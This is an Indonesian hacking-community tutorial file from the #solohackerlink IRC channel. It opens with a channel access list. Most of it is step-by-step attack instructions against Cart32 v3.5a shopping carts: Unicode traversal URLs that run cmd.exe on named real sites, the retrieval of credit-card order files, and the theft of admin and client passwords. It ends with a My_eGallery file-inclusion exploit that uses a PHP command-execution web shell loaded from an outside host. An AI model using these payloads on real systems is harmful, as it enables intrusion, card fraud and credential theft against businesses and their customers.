TUTORIAL HACKING
KOMUNITAS #SOLOHACKERLINK
Allnet + Dalnet
Kumpulan tutorial ini kami persembahkan bagi anda yang pingin belajar Hacking,
Defacing, Cracking, dan yang berhubungan dengan dunia Komputer.
Tapi Ingat Kami Tidak Bertanggung Jawab Atas Penyalah Gunaan Artikel Ini.
-ChanServ- -- Access List for [#solohackerlink] --
-ChanServ- Num Level Hostmask Since last use
-ChanServ- --- ----- -------- --------------
-ChanServ- 1 30 CoCoNuT 1h 18m 36s
-ChanServ- 2 20 Shidex 6d 2h 52m 6s
-ChanServ- 3 10 erisanthi 4w 4d 4h 9m 44s
-ChanServ- 4 25 moxff 8h 25m 27s
-ChanServ- 5 30 CiPaN-2
-ChanServ- 6 20 SouLmaTe 4d 7h 34m 36s
-ChanServ- 7 30 A-kung 2d 2h 48m 50s
-ChanServ- 8 30 hikaru 1w 2d 9h 41m 4s
-ChanServ- 9 20 kenshi 3d 3h 5m 39s
-ChanServ- 10 30 vend3r 3d 13h 54m 51s
-ChanServ- 11 20 ijoo 5d 17h 20m 27s
-ChanServ- 12 10 asLpLs 6d 3h 11m 42s
-ChanServ- 13 15 AnEuk_TeRmin4L 1d 8h 29m 53s
-ChanServ- 14 20 Viper 4d 9h 38m 44s
-ChanServ- 15 44 ToxiCity 3d 3h 24m 9s
-ChanServ- 16 10 [MICROBA] 2d 9h 21m 53s
-ChanServ- 17 14 arioo 1d 23h 26m 29s
-ChanServ- 18 45 SoniX 6h 53m 12s
-ChanServ- 19 10 mozi 3w 4d 1h 5m 39s
-ChanServ- 20 35 Chiboik 2d 2h 48m 55s
-ChanServ- 21 30 WONGEDAN 2d 14h 35m 59s
-ChanServ- 22 10 co_world 1d 9h 52m 12s
-ChanServ- 23 15 rafles 3w 1d 6h 45m 31s
-ChanServ- 24 20 gueng 4d 9h 52m 29s
-ChanServ- 25 15 H4_Kim 1h 1m 18s
-ChanServ- 26 20 djempol 3d 13h 52m 23s
-ChanServ- 27 10 maha_dewa 2d 4h 12m 40s
-ChanServ- 28 10 KuThiLaNK 1d 16m 27s
-ChanServ- 29 40 Pria 3w 10h 37m 37s
-ChanServ- 30 44 jayoes 2h 31m 18s
-ChanServ- 31 20 mikael_boloten 2d 8h 55m 50s
-ChanServ- 32 42 avantika 2w 1d 6h 38m 1s
-ChanServ- 33 40 Cybermoslem 4d 11h 25m 24s
-ChanServ- 34 25 senyum 3d 14h 47m 5s
-ChanServ- 35 44 Bamby 3d 5h 21m 46s
-ChanServ- 36 40 randyy 4d 5h 29m 45s
-ChanServ- 37 30 GeoL 3d 2h 54m 38s
-ChanServ- 38 35 skin 3h 58m 56s
-ChanServ- 39 28 padllepop 23h 42m 53s
-ChanServ- 40 48 saleho 1h 19m 17s
-ChanServ- 41 47 Kiluagank 1w 3d 11h 21m 23s
-ChanServ- 42 15 Pleky 2d 4h 11m 51s
-ChanServ- 43 10 ^YoGa^ 2w 2d 20h 46m 7s
-ChanServ- 44 50 POM_PONK 0s
-ChanServ- 45 10 ahas 8h 57m
-ChanServ- 46 49 eStI 5d 37m 6s
-ChanServ- 47 13 pingembul 2d 11h 7m 42s
-ChanServ- 48 45 garAm 4d 5h 50m 35s
-ChanServ- 49 45 OsKaDoN 2h 31m 51s
-ChanServ- 50 42 andri 23h 20m 48s
-ChanServ- 51 25 Blu3_Cyber 1d 14h 40m 29s
-ChanServ- 52 15 data_base 5w 4d 19h 27m 27s
-ChanServ- 53 48 PeNcOpEt_CiNtA 4d 23h 39m 14s
-ChanServ- 54 9 Dewa_Cinta 14h 47m 42s
-ChanServ- 55 30 RENDY_CO 6w 3d 5h 10m 35s
-ChanServ- 56 30 kethex 6w 2d 9h 52m 22s
-ChanServ- 57 15 SpY|DeR 4d 2h 31m 13s
-ChanServ- 58 35 SkyLine 1w 1d 5h 17m 58s
-ChanServ- 59 20 siti^oke
-ChanServ- 60 35 ajbtk_anton 1w 6d 8h 6m 58s
-ChanServ- 61 25 SaWeX 14w 2d 21h 24m 20s
-ChanServ- 62 15 Teguh 2w 2d 8h 29m 51s
-ChanServ- 63 15 vender 3d 14h 41m 35s
-ChanServ- 64 44 ad|fashLa 1w 8h 50m 58s
-ChanServ- 65 20 IrwansyaH 4d 14h 48m 48s
-ChanServ- 66 25 Comex 4d 5h 32m 40s
-ChanServ- 67 20 Aves 1w 1d 10h 50m 17s
-ChanServ- 68 10 Reny 3w 4d 7h 16m 19s
-ChanServ- 69 44 Malaikat^Mikhael 19h 19m 3s
-ChanServ- 70 40 BuayA 3d 12h 56m 36s
-ChanServ- 71 15 blu_smith87 1d 6h 23m 27s
-ChanServ- 72 20 ricky 11h 36m 28s
-ChanServ- 73 40 madiun 3w 5d 15h 1m 46s
-ChanServ- 74 45 solohackerlink 2w 4d 5h 5m 50s
-ChanServ- 75 20 sTeVe_YaN9_SDiKiT_ImOeT 4d 2h 32m 8s
-ChanServ- 76 15 AndyBogard 2w 2d 12h 53m 41s
-ChanServ- 77 44 cupid 19h 26m 44s
-ChanServ- 78 47 TAKESI 6s
-ChanServ- 79 20 wahyu_20 11h 15m 41s
-ChanServ- 80 20 WoNg`Edan 7h 2m 9s
-ChanServ- 81 15 GoD_Army 4d 5h 15m 12s
-ChanServ- 82 14 Pico 1d 2h 37m 59s
-ChanServ- 83 44 cOCa-cOLa 15h 20m 30s
-ChanServ- 84 20 SuPeR_MaN 9h 48m 37s
-ChanServ- -- End of list --
Cart32 v3.5a
##############################################################################
#
TUTORIAL I : Cart32 v3.5a
by : PeNcOpEt_CiNtA
Posted : 11 oktober 2005
##############################################################################
#
NB : Hanya bisa digunakan kepada beberapa situs yang memiliki kelemahan
yang sama.
Langkah 1: Dapatkan terlebih dahulu Website Cart32 v3.5a
Langkah 2: Cari di semua searc engine yang kamu ketahui.
dengan keyword " Cart32 v3.5a "
Langkah 3: Masuk ke website Cart32.exe
http://target/login/unicode/cart32.exe
(contoh : http://www.connectionsmall.com/scripts/cart32.exe/)
Langkah 4: Setelah kamu masuk kesana, akan diperlihatkan tampilan
seperti dibawah ini :
========================================
Cart32 v3.5a
Shopping Cart System for Windows
http://www.cart32.com/
Registered to Greymane ConnectionsLicense: Unlimited clients
©1996-2001 McMurtrey/Whitaker & Associates, Inc.Build 714
========================================
Langkah 4: Sekarang yang harus kamu lakukan adalah memasukkan ekstensi
berikut di akhir URL, 98% memakai #1 & #2
a. (..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:)
b. (..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:)
c. (..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:)
HANYA DIGUNAKAN KADANG2!
(contoh:http://www.connectionsmall.com/scripts/.%e0%80%af../..%e0%80%af../..%e0%80%
af../winnt/system32/cmd.exe?/c+dir+c:)
Langkah 5: Saat kamu berada di direktori utama (c:), untuk masuk ke
cc´s, masukan kembali (progra~1MWAIncCart32) ke akhir URL tadi
sehingga sekarang kamu dapat melihat seperti :
http://www.connectionsmall.com/scripts/.%e0%80%af../..%e0%80%af../..%e0%80%
af../winnt/system32/cmd.exe?/c+dir+c:progra~1mwainccart32
Sekarang kamu dapat melihat banyak file seperti :
2814659000-001001.c32
2814659000-001002.c32
2814659000-001003.c32
Langkah 6: Copy salah satu dari nama file tersebut dan kemudian
masukkan ke akhir URL, dan akan terlihat seperti :
http://www.connectionsmall.com/scripts/.%e0%80%af../..%e0%80%af../..%e0%80%
af../winnt/system32/cmd.exe?/c+type+c:progra~1mwainccart322814659000-001003.c32
Catatan : Diistu kamu akan melihat file lain yang berisi banyak sekali
cc´s seperti :
RONACK-orders.txt (file ini tidak berada pada situs yang khusus ini)
procure-orders.txt (file ini tidak berada pada situs yang khusus ini)
Langkah 7: Sebelum kamu mengakses tipe file yang lain, pertama kamu harus mengganti
*c+dir+c:* ke *c+type+c:*
========================================
TUTORIAL II : Cart32 v3.5a
----------------------------------------
Target: http://www.partybows.com
1. Ke http://www.partybows.com
2. Klik http://www.partybows.com/seasonal.htm
3. Isi Quantity= 1 Pokoknya kayak lu pura2x beli dan klik order
4. Maka akan kesini jadinya :
https://secure.axionet.com/partybows/cgi-bin/cart32.exe/partybows-AddItem
5. Ubah menjadi
https://secure.axionet.com/partybows/cgi-bin/cart32.exe/error
Cart32 v3.5 Error
CART32 Build 619
The following internal error has occurred: Invalid procedure
Error Number = 5
Click Here For Possible Solutions
etc.
6. Cari log order-nya
Cart32 Setup Info and Directory
Mail Server = mail.axion.net Section=Main
AdminDir = D:securewebrootpartybowscgi-bincart32
Jadi partybows-orders.txt.
Sehingga akhirnya :
http://www.partybows.com/cgi-bin/cart32/partybows-orders.txt
7. Atau untuk mendapatkan Password admin nyah loe tinggak ketik cart32.ini
https://secure.axionet.com/partybows/cgi-bin/cart32.ini
dengan tidak di sengaja kamu akan mendownload Password admin
yang ada di file cart32.ini nyah.
kamu akan mendapat kan password admin yang terencriptsi
lalu kamu coba mendecriptkan nyah dengan software
" Cart32decoder.exe "
8. Untuk mendapatkan data nama dan password clients pada Cart32
kamu bisa mencobanya dengan mengetik "CLIENT.DBF"
atau :
order file pada "ORDER atau ORDERS.DBF
========================================
TUTORIAL III : Cart32 v3.5a
----------------------------------------
search +/scripts/cart32.exe/
Exploitable Directories
-/scripts/cart32.ini
-/scripts/cart32.exe
-/scripts/cart32.exe/cart32clientlist
-/script/c32web.exe/ChangeAdminPassword
-/scripts/c32web.exe
-cgi-shl/c32web.exe/
Wherever there is the cart32.exe add this to the end of it /cart32clientlist
and erase the rest a menu will come up with a submit box click go
it will list ALL clients and their passwords passwords will be encrypted
after decrypting the password, go to wherever the [c32web.exe] file is
thats the instructions wit exploits what that channel we were just in called
-------------------------------------------------------------------------------------------------
Post by : PeNcOpEt_CiNtA on [ 11 November 2005 08:56:21 ]
My_eGallery security exploit
##############################################
My_eGallery security exploit
Author : PeNcOpEt_CiNtA ( seng_due@yahoo.co.id )
##############################################
Bugs File may be : displayCategory.php
Display : http://www.target.com/modules/My_eGallery/public/displayCategory.php
Note :
for attacking u must use this script, save and upload to your website.
e.g save with namefile : cmd.txt
e.g from my site : http://www.geocities.com/seng_due/script/solohackerlink.txt
---------------- script from here -----------------------------------------------------
TEST SYSTEM KEAMANAN SERVER ANDA!!!
size="1">
src="http://www.geocities.com/aritrokok/aritrokok.jpg"
# saleho PHP :
# Released by : Solohackerlink-Crew
// CMD - To Execute Command on File Injection Bug ( gif - jpg - txt )
if (isset($chdir)) @chdir($chdir);
ob_start();
system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
$output = ob_get_contents();
ob_end_clean();
if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
?>
#SOLOHACKERLINK